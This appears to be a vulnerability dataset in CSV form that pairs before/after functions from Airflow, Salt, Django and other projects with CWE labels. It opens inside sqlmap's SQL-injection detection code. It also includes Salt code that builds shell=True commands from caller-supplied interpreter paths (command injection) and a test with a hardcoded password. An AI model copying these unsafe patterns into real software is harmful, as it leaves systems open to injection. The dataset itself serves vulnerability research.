                            except SqlmapConnectionException as ex:
                                debugMsg = ""problem occurred most likely because the ""
                                debugMsg += ""server hasn't recovered as expected from the ""
                                debugMsg += ""error-based payload used ('%s')"" % getSafeExString(ex)
                                logger.debug(debugMsg)

                        # In case of time-based blind or stacked queries
                        # SQL injections
                        elif method == PAYLOAD.METHOD.TIME:
                            # Perform the test's request
                            trueResult = Request.queryPage(reqPayload, place, timeBasedCompare=True, raise404=False)
                            trueCode = threadData.lastCode

                            if trueResult:
                                # Extra validation step (e.g. to check for DROP protection mechanisms)
                                if SLEEP_TIME_MARKER in reqPayload:
                                    falseResult = Request.queryPage(reqPayload.replace(SLEEP_TIME_MARKER, ""0""), place, timeBasedCompare=True, raise404=False)
                                    if falseResult:
                                        continue

                                # Confirm test's results
                                trueResult = Request.queryPage(reqPayload, place, timeBasedCompare=True, raise404=False)

                                if trueResult:
                                    infoMsg = ""%sparameter '%s' appears to be '%s' injectable "" % (""%s "" % paramType if paramType != parameter else """", parameter, title)
                                    logger.info(infoMsg)

                                    injectable = True

                        # In case of UNION query SQL injection
                        elif method == PAYLOAD.METHOD.UNION:
                            # Test for UNION injection and set the sample
                            # payload as well as the vector.
                            # NOTE: vector is set to a tuple with 6 elements,
                            # used afterwards by Agent.forgeUnionQuery()
                            # method to forge the UNION query payload

                            configUnion(test.request.char, test.request.columns)

                            if len(kb.dbmsFilter or []) == 1:
                                Backend.forceDbms(kb.dbmsFilter[0])
                            elif not Backend.getIdentifiedDbms():
                                if kb.heuristicDbms is None:
                                    if kb.heuristicTest == HEURISTIC_TEST.POSITIVE or injection.data:
                                        warnMsg = ""using unescaped version of the test ""
                                        warnMsg += ""because of zero knowledge of the ""
                                        warnMsg += ""back-end DBMS. You can try to ""
                                        warnMsg += ""explicitly set it with option '--dbms'""
                                        singleTimeWarnMessage(warnMsg)
                                else:
                                    Backend.forceDbms(kb.heuristicDbms)

                            if unionExtended:
                                infoMsg = ""automatically extending ranges for UNION ""
                                infoMsg += ""query injection technique tests as ""
                                infoMsg += ""there is at least one other (potential) ""
                                infoMsg += ""technique found""
                                singleTimeLogMessage(infoMsg)

                            # Test for UNION query SQL injection
                            reqPayload, vector = unionTest(comment, place, parameter, value, prefix, suffix)

                            if isinstance(reqPayload, six.string_types):
                                infoMsg = ""%sparameter '%s' is '%s' injectable"" % (""%s "" % paramType if paramType != parameter else """", parameter, title)
                                logger.info(infoMsg)

                                injectable = True

                                # Overwrite 'where' because it can be set
                                # by unionTest() directly
                                where = vector[6]

                        kb.previousMethod = method

                        if conf.offline:
                            injectable = False

                    # If the injection test was successful feed the injection
                    # object with the test's details
                    if injectable is True:
                        # Feed with the boundaries details only the first time a
                        # test has been successful
                        if injection.place is None or injection.parameter is None:
                            if place in (PLACE.USER_AGENT, PLACE.REFERER, PLACE.HOST):
                                injection.parameter = place
                            else:
                                injection.parameter = parameter

                            injection.place = place
                            injection.ptype = ptype
                            injection.prefix = prefix
                            injection.suffix = suffix
                            injection.clause = clause

                        # Feed with test details every time a test is successful
                        if hasattr(test, ""details""):
                            for key, value in test.details.items():
                                if key == ""dbms"":
                                    injection.dbms = value

                                    if not isinstance(value, list):
                                        Backend.setDbms(value)
                                    else:
                                        Backend.forceDbms(value[0], True)

                                elif key == ""dbms_version"" and injection.dbms_version is None and not conf.testFilter:
                                    injection.dbms_version = Backend.setVersion(value)

                                elif key == ""os"" and injection.os is None:
                                    injection.os = Backend.setOs(value)

                        if vector is None and ""vector"" in test and test.vector is not None:
                            vector = test.vector

                        injection.data[stype] = AttribDict()
                        injection.data[stype].title = title
                        injection.data[stype].payload = agent.removePayloadDelimiters(reqPayload)
                        injection.data[stype].where = where
                        injection.data[stype].vector = vector
                        injection.data[stype].comment = comment
                        injection.data[stype].templatePayload = templatePayload
                        injection.data[stype].matchRatio = kb.matchRatio
                        injection.data[stype].trueCode = trueCode
                        injection.data[stype].falseCode = falseCode

                        injection.conf.textOnly = conf.textOnly
                        injection.conf.titles = conf.titles
                        injection.conf.code = conf.code
                        injection.conf.string = conf.string
                        injection.conf.notString = conf.notString
                        injection.conf.regexp = conf.regexp
                        injection.conf.optimize = conf.optimize

                        if not kb.alerted:
                            if conf.beep:
                                beep()

                            if conf.alert:
                                infoMsg = ""executing alerting shell command(s) ('%s')"" % conf.alert
                                logger.info(infoMsg)

                                try:
                                    process = subprocess.Popen(getBytes(conf.alert, sys.getfilesystemencoding() or UNICODE_ENCODING), shell=True)
                                    process.wait()
                                except Exception as ex:
                                    errMsg = ""error occurred while executing '%s' ('%s')"" % (conf.alert, getSafeExString(ex))
                                    logger.error(errMsg)

                            kb.alerted = True

                        # There is no need to perform this test for other
                        # <where> tags
                        break

                if injectable is True:
                    kb.vulnHosts.add(conf.hostname)
                    break

            # Reset forced back-end DBMS value
            Backend.flushForcedDbms()

        except KeyboardInterrupt:
            warnMsg = ""user aborted during detection phase""
            logger.warn(warnMsg)

            if conf.multipleTargets:
                msg = ""how do you want to proceed? [ne(X)t target/(s)kip current test/(e)nd detection phase/(n)ext parameter/(c)hange verbosity/(q)uit]""
                choice = readInput(msg, default='X', checkBatch=False).upper()
            else:
                msg = ""how do you want to proceed? [(S)kip current test/(e)nd detection phase/(n)ext parameter/(c)hange verbosity/(q)uit]""
                choice = readInput(msg, default='S', checkBatch=False).upper()

            if choice == 'X':
                if conf.multipleTargets:
                    raise SqlmapSkipTargetException
            elif choice == 'C':
                choice = None
                while not ((choice or """").isdigit() and 0 <= int(choice) <= 6):
                    if choice:
                        logger.warn(""invalid value"")
                    msg = ""enter new verbosity level: [0-6] ""
                    choice = readInput(msg, default=str(conf.verbose), checkBatch=False)
                conf.verbose = int(choice)
                setVerbosity()
                tests.insert(0, test)
            elif choice == 'N':
                return None
            elif choice == 'E':
                kb.endDetection = True
            elif choice == 'Q':
                raise SqlmapUserQuitException

        finally:
            # Reset forced back-end DBMS value
            Backend.flushForcedDbms()

    Backend.flushForcedDbms(True)

    # Return the injection object
    if injection.place is not None and injection.parameter is not None:
        if not conf.dropSetCookie and PAYLOAD.TECHNIQUE.BOOLEAN in injection.data and injection.data[PAYLOAD.TECHNIQUE.BOOLEAN].vector.startswith('OR'):
            warnMsg = ""in OR boolean-based injection cases, please consider usage ""
            warnMsg += ""of switch '--drop-set-cookie' if you experience any ""
            warnMsg += ""problems during data retrieval""
            logger.warn(warnMsg)

        if not checkFalsePositives(injection):
            kb.vulnHosts.remove(conf.hostname)
            if NOTE.FALSE_POSITIVE_OR_UNEXPLOITABLE not in injection.notes:
                injection.notes.append(NOTE.FALSE_POSITIVE_OR_UNEXPLOITABLE)

    else:
        injection = None

    if injection and NOTE.FALSE_POSITIVE_OR_UNEXPLOITABLE not in injection.notes:
        checkSuhosinPatch(injection)
        checkFilteredChars(injection)

    return injection"
,UNKNOWN,UNKNOWN,tests/core.py,1,"def test_send_smtp(self, mock_send_mime):
        attachment = tempfile.NamedTemporaryFile()
        attachment.write(b'attachment')
        attachment.seek(0)
        utils.email.send_email_smtp('to', 'subject', 'content', files=[attachment.name])
        assert mock_send_mime.called
        call_args = mock_send_mime.call_args[0]
        assert call_args[0] == configuration.get('smtp', 'SMTP_MAIL_FROM')
        assert call_args[1] == ['to']
        msg = call_args[2]
        assert msg['Subject'] == 'subject'
        assert msg['From'] == configuration.get('smtp', 'SMTP_MAIL_FROM')
        assert len(msg.get_payload()) == 2
        assert msg.get_payload()[-1].get(u'Content-Disposition') == \
               u'attachment; filename=""' + os.path.basename(attachment.name) + '""'
        mimeapp = MIMEApplication('attachment')
        assert msg.get_payload()[-1].get_payload() == mimeapp.get_payload()",CWE-703,apache/airflow,9a7801d4ee792372a717e9b1da6daceecb9c3d68,"def test_send_smtp(self, mock_send_mime):
        attachment = tempfile.NamedTemporaryFile()
        attachment.write(b'attachment')
        attachment.seek(0)
        utils.email.send_email_smtp('to', 'subject', 'content', files=[attachment.name])
        assert mock_send_mime.called
        call_args = mock_send_mime.call_args[0]
        assert call_args[0] == configuration.get('smtp', 'SMTP_MAIL_FROM')
        assert call_args[1] == ['to']
        msg = call_args[2]
        assert msg['Subject'] == 'subject'
        assert msg['From'] == configuration.get('smtp', 'SMTP_MAIL_FROM')
        assert len(msg.get_payload()) == 2
        mimeapp = MIMEApplication('attachment')
        assert msg.get_payload()[-1].get_payload() == mimeapp.get_payload()"
,UNKNOWN,UNKNOWN,airflow/api_fastapi/core_api/routes/public/dags.py,1,"def get_dag_tags(
    limit: QueryLimit,
    offset: QueryOffset,
    order_by: Annotated[
        SortParam,
        Depends(
            SortParam(
                [""name""],
                DagTag,
            ).dynamic_depends()
        ),
    ],
    tag_name_pattern: QueryDagTagPatternSearch,
    session: Annotated[Session, Depends(get_session)],
) -> DAGTagCollectionResponse:
    """"""Get all DAG tags.""""""
    base_select = select(DagTag.name).group_by(DagTag.name)
    dag_tags_select, total_entries = paginated_select(
        select=base_select,
        filters=[tag_name_pattern],
        order_by=order_by,
        offset=offset,
        limit=limit,
        session=session,
    )
    dag_tags = session.execute(dag_tags_select).scalars().all()
    return DAGTagCollectionResponse(tags=[x for x in dag_tags], total_entries=total_entries)",CWE-89,apache/airflow,22d1406af24c3741134ac4fb9f2f49e9a41d03eb,"def get_dag_tags(
    limit: QueryLimit,
    offset: QueryOffset,
    order_by: Annotated[
        SortParam,
        Depends(
            SortParam(
                [""name""],
                DagTag,
            ).dynamic_depends()
        ),
    ],
    tag_name_pattern: QueryDagTagPatternSearch,
    session: Annotated[Session, Depends(get_session)],
) -> DAGTagCollectionResponse:
    """"""Get all DAG tags.""""""
    base_select = select(DagTag.name).group_by(DagTag.name)
    dag_tags_select, total_entries = paginated_select(
        select=base_select,
        filters=[tag_name_pattern],
        order_by=order_by,
        offset=offset,
        limit=limit,
        session=session,
    )
    dag_tags = session.execute(dag_tags_select).scalars().all()
    return DAGTagCollectionResponse(tags=[dag_tag for dag_tag in dag_tags], total_entries=total_entries)"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/modules/test_virtual.py,0,"def __virtual__():
    return False",,saltstack/salt,67473c5408a76bccd2c50c1d8691dec26b3102c7,"def __virtual__():
    return False"
,UNKNOWN,UNKNOWN,tests/recipes/test_execution_utils.py,1,"def test_execution_plan():
    train_subgraph = [""ingest"", ""split"", ""transform"", ""train"", ""evaluate"", ""register""]

    # all steps are cached
    plan = _ExecutionPlan(""register"", [""make: `register' is up to date.""], train_subgraph)
    assert plan.steps_cached == train_subgraph

    # all steps will be executed
    plan = _ExecutionPlan(
        ""transform"",
        [
            'echo ""Run MLFlow Recipe step: ingest""\n',
            'echo ""Run MLFlow Recipe step: split""\n',
            'echo ""Run MLFlow Recipe step: transform""\n',
        ],
        train_subgraph,
    )
    assert plan.steps_cached == []

    plan = _ExecutionPlan(
        ""transform"", ['echo ""Run MLFlow Recipe step: transform""\n'], train_subgraph
    )
    assert plan.steps_cached == [""ingest"", ""split""]",CWE-703,mlflow/mlflow,a54cf7f86a39a51c4e508ea441ecf298e844c094,"def test_execution_plan():
    train_subgraph = [""ingest"", ""split"", ""transform"", ""train"", ""evaluate"", ""register""]

    # all steps are cached
    plan = _ExecutionPlan(""register"", [""make: `register' is up to date.""], train_subgraph)
    assert plan.steps_cached == train_subgraph

    # all steps will be executed
    plan = _ExecutionPlan(
        ""transform"",
        [
            ""# Run MLFlow Recipe step: ingest\n"",
            ""# Run MLFlow Recipe step: split\n"",
            ""# Run MLFlow Recipe step: transform\n"",
        ],
        train_subgraph,
    )
    assert plan.steps_cached == []

    plan = _ExecutionPlan(""transform"", [""# Run MLFlow Recipe step: transform\n""], train_subgraph)
    assert plan.steps_cached == [""ingest"", ""split""]"
functions_for_tornado_with_cwe.csv,UNKNOWN,UNKNOWN,tornado/test/options_test.py,0,"def test_error_redefine_underscore(self):
        # Ensure that the dash/underscore normalization doesn't
        # interfere with the redefinition error.
        tests = [
            ('foo-bar', 'foo-bar'),
            ('foo_bar', 'foo_bar'),
            ('foo-bar', 'foo_bar'),
            ('foo_bar', 'foo-bar'),
        ]
        for a, b in tests:
            with subTest(self, a=a, b=b):
                options = OptionParser()
                options.define(a)
                with self.assertRaises(Error) as cm:
                    options.define(b)
                self.assertRegexpMatches(str(cm.exception),
                                         'Option.*foo.bar.*already defined')",CWE-Unknown,tornadoweb/tornado,61bfba41f283340a223f1e31d3691cee12916065,"def test_error_redefine_underscore(self):
        # Ensure that the dash/underscore normalization doesn't
        # interfere with the redefinition error.
        tests = [
            ('foo-bar', 'foo-bar'),
            ('foo_bar', 'foo_bar'),
            ('foo-bar', 'foo_bar'),
            ('foo_bar', 'foo-bar'),
            ]
        for a, b in tests:
            with subTest(self, a=a, b=b):
                options = OptionParser()
                options.define(a)
                with self.assertRaises(Error) as cm:
                    options.define(b)
                self.assertRegexpMatches(str(cm.exception),
                                         'Option.*foo.bar.*already defined')"
,UNKNOWN,UNKNOWN,providers/tests/google/cloud/log/test_stackdriver_task_handler_system.py,1,"def test_should_support_key_auth(self, session):
        with mock.patch.dict(
            ""os.environ"",
            AIRFLOW__LOGGING__REMOTE_LOGGING=""true"",
            AIRFLOW__LOGGING__REMOTE_BASE_LOG_FOLDER=f""stackdriver://{self.log_name}"",
            AIRFLOW__LOGGING__GOOGLE_KEY_PATH=resolve_full_gcp_key_path(GCP_STACKDRIVER),
            AIRFLOW__CORE__LOAD_EXAMPLES=""false"",
            AIRFLOW__CORE__DAGS_FOLDER=example_complex.__file__,
        ):
            assert subprocess.Popen([""airflow"", ""dags"", ""trigger"", ""example_complex""]).wait() == 0
            assert subprocess.Popen([""airflow"", ""scheduler"", ""--num-runs"", ""1""]).wait() == 0
        ti = session.query(TaskInstance).filter(TaskInstance.task_id == ""create_entry_group"").first()

        self.assert_remote_logs(""terminated with exit code 0"", ti)",CWE-703,apache/airflow,03349014513114f1eaa413a9831b0027e4fbfa67,"def test_should_support_key_auth(self, session):
        with mock.patch.dict(
            ""os.environ"",
            AIRFLOW__LOGGING__REMOTE_LOGGING=""true"",
            AIRFLOW__LOGGING__REMOTE_BASE_LOG_FOLDER=f""stackdriver://{self.log_name}"",
            AIRFLOW__LOGGING__GOOGLE_KEY_PATH=resolve_full_gcp_key_path(GCP_STACKDRIVER),
            AIRFLOW__CORE__LOAD_EXAMPLES=""false"",
            AIRFLOW__CORE__DAGS_FOLDER=example_complex.__file__,
        ):
            assert 0 == subprocess.Popen([""airflow"", ""dags"", ""trigger"", ""example_complex""]).wait()
            assert 0 == subprocess.Popen([""airflow"", ""scheduler"", ""--num-runs"", ""1""]).wait()
        ti = session.query(TaskInstance).filter(TaskInstance.task_id == ""create_entry_group"").first()

        self.assert_remote_logs(""terminated with exit code 0"", ti)"
,UNKNOWN,UNKNOWN,tests/www_rbac/test_views.py,1,"def add_permission_for_role(self):
        self.logout()
        self.login(username='test',
                   password='test')
        perm_on_dag = self.appbuilder.sm.\
            find_permission_view_menu('can_dag_edit', 'example_bash_operator')
        dag_tester_role = self.appbuilder.sm.find_role('dag_acl_tester')
        self.appbuilder.sm.add_permission_role(dag_tester_role, perm_on_dag)

        perm_on_all_dag = self.appbuilder.sm.\
            find_permission_view_menu('can_dag_edit', 'all_dags')
        all_dag_role = self.appbuilder.sm.find_role('all_dag_role')
        self.appbuilder.sm.add_permission_role(all_dag_role, perm_on_all_dag)

        role_user = self.appbuilder.sm.find_role('User')
        self.appbuilder.sm.add_permission_role(role_user, perm_on_all_dag)

        read_only_perm_on_dag = self.appbuilder.sm.\
            find_permission_view_menu('can_dag_read', 'example_bash_operator')
        dag_read_only_role = self.appbuilder.sm.find_role('dag_acl_read_only')
        self.appbuilder.sm.add_permission_role(dag_read_only_role, read_only_perm_on_dag)",CWE-259,apache/airflow,9d68b3a2e847589ed11911e5f7312d232bd43485,"def add_permission_for_role(self):
        self.logout()
        self.login(username='test',
                   password='test')
        perm_on_dag = self.appbuilder.sm.\
            find_permission_view_menu('can_dag_edit', 'example_bash_operator')
        dag_tester_role = self.appbuilder.sm.find_role('dag_acl_tester')
        self.appbuilder.sm.add_permission_role(dag_tester_role, perm_on_dag)

        perm_on_all_dag = self.appbuilder.sm.\
            find_permission_view_menu('can_dag_edit', 'all_dags')
        all_dag_role = self.appbuilder.sm.find_role('all_dag_role')
        self.appbuilder.sm.add_permission_role(all_dag_role, perm_on_all_dag)

        read_only_perm_on_dag = self.appbuilder.sm.\
            find_permission_view_menu('can_dag_read', 'example_bash_operator')
        dag_read_only_role = self.appbuilder.sm.find_role('dag_acl_read_only')
        self.appbuilder.sm.add_permission_role(dag_read_only_role, read_only_perm_on_dag)"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/contrib/sessions/tests.py,0,"def test_flush(self):
        self.session['foo'] = 'bar'
        self.session.save()
        prev_key = self.session.session_key
        self.session.flush()
        self.assertFalse(self.session.exists(prev_key))
        self.assertNotEqual(self.session.session_key, prev_key)
        self.assertIsNone(self.session.session_key)
        self.assertTrue(self.session.modified)
        self.assertTrue(self.session.accessed)",CWE-Unknown,django/django,575f59f9bc7c59a5e41a081d1f5f55fc859c5012,"def test_flush(self):
        self.session['foo'] = 'bar'
        self.session.save()
        prev_key = self.session.session_key
        self.session.flush()
        self.assertFalse(self.session.exists(prev_key))
        self.assertNotEqual(self.session.session_key, prev_key)
        self.assertTrue(self.session.modified)
        self.assertTrue(self.session.accessed)"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,tests/staticfiles_tests/test_management.py,0,"def test_dir_not_exists(self, **kwargs):
        shutil.rmtree(six.text_type(settings.STATIC_ROOT))
        super(TestCollectionClear, self).run_collectstatic(clear=True)",CWE-Unknown,django/django,b4bb2ad13d178dd2db484c7721fd47aa3d285908,"def test_dir_not_exists(self, **kwargs):
        shutil.rmtree(six.text_type(settings.STATIC_ROOT))
        super(TestCollectionClear, self).run_collectstatic(clear=True)"
,UNKNOWN,UNKNOWN,salt/utils/thin.py,1,"def gen_min(cachedir, extra_mods='', overwrite=False, so_mods='',
            python2_bin='python2', python3_bin='python3'):
    '''
    Generate the salt-min tarball and print the location of the tarball
    Optional additional mods to include (e.g. mako) can be supplied as a comma
    delimited string.  Permits forcing an overwrite of the output file as well.

    CLI Example:

    .. code-block:: bash

        salt-run min.generate
        salt-run min.generate mako
        salt-run min.generate mako,wempy 1
        salt-run min.generate overwrite=1
    '''
    mindir = os.path.join(cachedir, 'min')
    if not os.path.isdir(mindir):
        os.makedirs(mindir)
    mintar = os.path.join(mindir, 'min.tgz')
    minver = os.path.join(mindir, 'version')
    pyminver = os.path.join(mindir, '.min-gen-py-version')
    salt_call = os.path.join(mindir, 'salt-call')
    with salt.utils.files.fopen(salt_call, 'w+') as fp_:
        fp_.write(SALTCALL)
    if os.path.isfile(mintar):
        if not overwrite:
            if os.path.isfile(minver):
                with salt.utils.files.fopen(minver) as fh_:
                    overwrite = fh_.read() != salt.version.__version__
                if overwrite is False and os.path.isfile(pyminver):
                    with salt.utils.files.fopen(pyminver) as fh_:
                        overwrite = fh_.read() != str(sys.version_info[0])
            else:
                overwrite = True

        if overwrite:
            try:
                os.remove(mintar)
            except OSError:
                pass
        else:
            return mintar
    if _six.PY3:
        # Let's check for the minimum python 2 version requirement, 2.6
        py_shell_cmd = (
            python2_bin + ' -c \'from __future__ import print_function; import sys; '
            'print(""{0}.{1}"".format(*(sys.version_info[:2])));\''
        )
        cmd = subprocess.Popen(py_shell_cmd, stdout=subprocess.PIPE, shell=True)
        stdout, _ = cmd.communicate()
        if cmd.returncode == 0:
            py2_version = tuple(int(n) for n in stdout.decode('utf-8').strip().split('.'))
            if py2_version < (2, 6):
                # Bail!
                raise salt.exceptions.SaltSystemExit(
                    'The minimum required python version to run salt-ssh is ""2.6"".'
                    'The version reported by ""{0}"" is ""{1}"". Please try ""salt-ssh '
                    '--python2-bin=<path-to-python-2.6-binary-or-higher>"".'.format(python2_bin,
                                                                                stdout.strip())
                )
    elif sys.version_info < (2, 6):
        # Bail! Though, how did we reached this far in the first place.
        raise salt.exceptions.SaltSystemExit(
            'The minimum required python version to run salt-ssh is ""2.6"".'
        )

    tops_py_version_mapping = {}
    tops = get_tops(extra_mods=extra_mods, so_mods=so_mods)
    if _six.PY2:
        tops_py_version_mapping['2'] = tops
    else:
        tops_py_version_mapping['3'] = tops

    # TODO: Consider putting known py2 and py3 compatible libs in it's own sharable directory.
    #       This would reduce the min size.
    if _six.PY2 and sys.version_info[0] == 2:
        # Get python 3 tops
        py_shell_cmd = (
            python3_bin + ' -c \'import sys; import json; import salt.utils.thin; '
            'print(json.dumps(salt.utils.thin.get_tops(**(json.loads(sys.argv[1]))), ensure_ascii=False)); exit(0);\' '
            '\'{0}\''.format(salt.utils.json.dumps({'extra_mods': extra_mods, 'so_mods': so_mods}))
        )
        cmd = subprocess.Popen(py_shell_cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
        stdout, stderr = cmd.communicate()
        if cmd.returncode == 0:
            try:
                tops = salt.utils.json.loads(stdout)
                tops_py_version_mapping['3'] = tops
            except ValueError:
                pass
    if _six.PY3 and sys.version_info[0] == 3:
        # Get python 2 tops
        py_shell_cmd = (
            python2_bin + ' -c \'from __future__ import print_function; '
            'import sys; import json; import salt.utils.thin; '
            'print(json.dumps(salt.utils.thin.get_tops(**(json.loads(sys.argv[1]))), ensure_ascii=False)); exit(0);\' '
            '\'{0}\''.format(salt.utils.json.dumps({'extra_mods': extra_mods, 'so_mods': so_mods}))
        )
        cmd = subprocess.Popen(py_shell_cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
        stdout, stderr = cmd.communicate()
        if cmd.returncode == 0:
            try:
                tops = salt.utils.json.loads(stdout.decode('utf-8'))
                tops_py_version_mapping['2'] = tops
            except ValueError:
                pass

    tfp = tarfile.open(mintar, 'w:gz', dereference=True)
    try:  # cwd may not exist if it was removed but salt was run from it
        start_dir = os.getcwd()
    except OSError:
        start_dir = None
    tempdir = None

    # This is the absolute minimum set of files required to run salt-call
    min_files = (
        'salt/__init__.py',
        'salt/utils',
        'salt/utils/__init__.py',
        'salt/utils/validate',
        'salt/utils/validate/__init__.py',
        'salt/utils/validate/path.py',
        'salt/utils/decorators',
        'salt/utils/decorators/__init__.py',
        'salt/utils/cache.py',
        'salt/utils/xdg.py',
        'salt/utils/odict.py',
        'salt/utils/minions.py',
        'salt/utils/dicttrim.py',
        'salt/utils/sdb.py',
        'salt/utils/migrations.py',
        'salt/utils/files.py',
        'salt/utils/parsers.py',
        'salt/utils/locales.py',
        'salt/utils/lazy.py',
        'salt/utils/s3.py',
        'salt/utils/dictupdate.py',
        'salt/utils/verify.py',
        'salt/utils/args.py',
        'salt/utils/kinds.py',
        'salt/utils/xmlutil.py',
        'salt/utils/debug.py',
        'salt/utils/jid.py',
        'salt/utils/openstack',
        'salt/utils/openstack/__init__.py',
        'salt/utils/openstack/swift.py',
        'salt/utils/async.py',
        'salt/utils/process.py',
        'salt/utils/jinja.py',
        'salt/utils/rsax931.py',
        'salt/utils/context.py',
        'salt/utils/minion.py',
        'salt/utils/error.py',
        'salt/utils/aws.py',
        'salt/utils/timed_subprocess.py',
        'salt/utils/zeromq.py',
        'salt/utils/schedule.py',
        'salt/utils/url.py',
        'salt/utils/yamlencoding.py',
        'salt/utils/network.py',
        'salt/utils/http.py',
        'salt/utils/gzip_util.py',
        'salt/utils/vt.py',
        'salt/utils/templates.py',
        'salt/utils/aggregation.py',
        'salt/utils/yaml.py',
        'salt/utils/yamldumper.py',
        'salt/utils/yamlloader.py',
        'salt/utils/event.py',
        'salt/utils/state.py',
        'salt/serializers',
        'salt/serializers/__init__.py',
        'salt/serializers/yamlex.py',
        'salt/template.py',
        'salt/_compat.py',
        'salt/loader.py',
        'salt/client',
        'salt/client/__init__.py',
        'salt/ext',
        'salt/ext/__init__.py',
        'salt/ext/six.py',
        'salt/ext/ipaddress.py',
        'salt/version.py',
        'salt/syspaths.py',
        'salt/defaults',
        'salt/defaults/__init__.py',
        'salt/defaults/exitcodes.py',
        'salt/renderers',
        'salt/renderers/__init__.py',
        'salt/renderers/jinja.py',
        'salt/renderers/yaml.py',
        'salt/modules',
        'salt/modules/__init__.py',
        'salt/modules/test.py',
        'salt/modules/selinux.py',
        'salt/modules/cmdmod.py',
        'salt/modules/saltutil.py',
        'salt/minion.py',
        'salt/pillar',
        'salt/pillar/__init__.py',
        'salt/textformat.py',
        'salt/log',
        'salt/log/__init__.py',
        'salt/log/handlers',
        'salt/log/handlers/__init__.py',
        'salt/log/mixins.py',
        'salt/log/setup.py',
        'salt/cli',
        'salt/cli/__init__.py',
        'salt/cli/caller.py',
        'salt/cli/daemons.py',
        'salt/cli/salt.py',
        'salt/cli/call.py',
        'salt/fileserver',
        'salt/fileserver/__init__.py',
        'salt/transport',
        'salt/transport/__init__.py',
        'salt/transport/client.py',
        'salt/exceptions.py',
        'salt/grains',
        'salt/grains/__init__.py',
        'salt/grains/extra.py',
        'salt/scripts.py',
        'salt/state.py',
        'salt/fileclient.py',
        'salt/crypt.py',
        'salt/config.py',
        'salt/beacons',
        'salt/beacons/__init__.py',
        'salt/payload.py',
        'salt/output',
        'salt/output/__init__.py',
        'salt/output/nested.py',
    )

    for py_ver, tops in _six.iteritems(tops_py_version_mapping):
        for top in tops:
            base = os.path.basename(top)
            top_dirname = os.path.dirname(top)
            if os.path.isdir(top_dirname):
                os.chdir(top_dirname)
            else:
                # This is likely a compressed python .egg
                tempdir = tempfile.mkdtemp()
                egg = zipfile.ZipFile(top_dirname)
                egg.extractall(tempdir)
                top = os.path.join(tempdir, base)
                os.chdir(tempdir)
            if not os.path.isdir(top):
                # top is a single file module
                tfp.add(base, arcname=os.path.join('py{0}'.format(py_ver), base))
                continue
            for root, dirs, files in salt.utils.path.os_walk(base, followlinks=True):
                for name in files:
                    if name.endswith(('.pyc', '.pyo')):
                        continue
                    if root.startswith('salt') and os.path.join(root, name) not in min_files:
                        continue
                    tfp.add(os.path.join(root, name),
                            arcname=os.path.join('py{0}'.format(py_ver), root, name))
            if tempdir is not None:
                shutil.rmtree(tempdir)
                tempdir = None

    os.chdir(mindir)
    tfp.add('salt-call')
    with salt.utils.files.fopen(minver, 'w+') as fp_:
        fp_.write(salt.version.__version__)
    with salt.utils.files.fopen(pyminver, 'w+') as fp_:
        fp_.write(str(sys.version_info[0]))
    os.chdir(os.path.dirname(minver))
    tfp.add('version')
    tfp.add('.min-gen-py-version')
    if start_dir:
        os.chdir(start_dir)
    tfp.close()
    return mintar","CWE-22, CWE-78",saltstack/salt,d48230a9e67340c41d348723f3c4c4949685c34b,"def gen_min(cachedir, extra_mods='', overwrite=False, so_mods='',
            python2_bin='python2', python3_bin='python3'):
    '''
    Generate the salt-min tarball and print the location of the tarball
    Optional additional mods to include (e.g. mako) can be supplied as a comma
    delimited string.  Permits forcing an overwrite of the output file as well.

    CLI Example:

    .. code-block:: bash

        salt-run min.generate
        salt-run min.generate mako
        salt-run min.generate mako,wempy 1
        salt-run min.generate overwrite=1
    '''
    mindir = os.path.join(cachedir, 'min')
    if not os.path.isdir(mindir):
        os.makedirs(mindir)
    mintar = os.path.join(mindir, 'min.tgz')
    minver = os.path.join(mindir, 'version')
    pyminver = os.path.join(mindir, '.min-gen-py-version')
    salt_call = os.path.join(mindir, 'salt-call')
    with salt.utils.files.fopen(salt_call, 'w+') as fp_:
        fp_.write(SALTCALL)
    if os.path.isfile(mintar):
        if not overwrite:
            if os.path.isfile(minver):
                with salt.utils.files.fopen(minver) as fh_:
                    overwrite = fh_.read() != salt.version.__version__
                if overwrite is False and os.path.isfile(pyminver):
                    with salt.utils.files.fopen(pyminver) as fh_:
                        overwrite = fh_.read() != str(sys.version_info[0])
            else:
                overwrite = True

        if overwrite:
            try:
                os.remove(mintar)
            except OSError:
                pass
        else:
            return mintar
    if _six.PY3:
        # Let's check for the minimum python 2 version requirement, 2.6
        py_shell_cmd = (
            python2_bin + ' -c \'from __future__ import print_function; import sys; '
            'print(""{0}.{1}"".format(*(sys.version_info[:2])));\''
        )
        cmd = subprocess.Popen(py_shell_cmd, stdout=subprocess.PIPE, shell=True)
        stdout, _ = cmd.communicate()
        if cmd.returncode == 0:
            py2_version = tuple(int(n) for n in stdout.decode('utf-8').strip().split('.'))
            if py2_version < (2, 6):
                # Bail!
                raise salt.exceptions.SaltSystemExit(
                    'The minimum required python version to run salt-ssh is ""2.6"".'
                    'The version reported by ""{0}"" is ""{1}"". Please try ""salt-ssh '
                    '--python2-bin=<path-to-python-2.6-binary-or-higher>"".'.format(python2_bin,
                                                                                stdout.strip())
                )
    elif sys.version_info < (2, 6):
        # Bail! Though, how did we reached this far in the first place.
        raise salt.exceptions.SaltSystemExit(
            'The minimum required python version to run salt-ssh is ""2.6"".'
        )

    tops_py_version_mapping = {}
    tops = get_tops(extra_mods=extra_mods, so_mods=so_mods)
    if _six.PY2:
        tops_py_version_mapping['2'] = tops
    else:
        tops_py_version_mapping['3'] = tops

    # TODO: Consider putting known py2 and py3 compatible libs in it's own sharable directory.
    #       This would reduce the min size.
    if _six.PY2 and sys.version_info[0] == 2:
        # Get python 3 tops
        py_shell_cmd = (
            python3_bin + ' -c \'import sys; import json; import salt.utils.thin; '
            'print(json.dumps(salt.utils.thin.get_tops(**(json.loads(sys.argv[1]))), ensure_ascii=False)); exit(0);\' '
            '\'{0}\''.format(salt.utils.json.dumps({'extra_mods': extra_mods, 'so_mods': so_mods}))
        )
        cmd = subprocess.Popen(py_shell_cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
        stdout, stderr = cmd.communicate()
        if cmd.returncode == 0:
            try:
                tops = salt.utils.json.loads(stdout)
                tops_py_version_mapping['3'] = tops
            except ValueError:
                pass
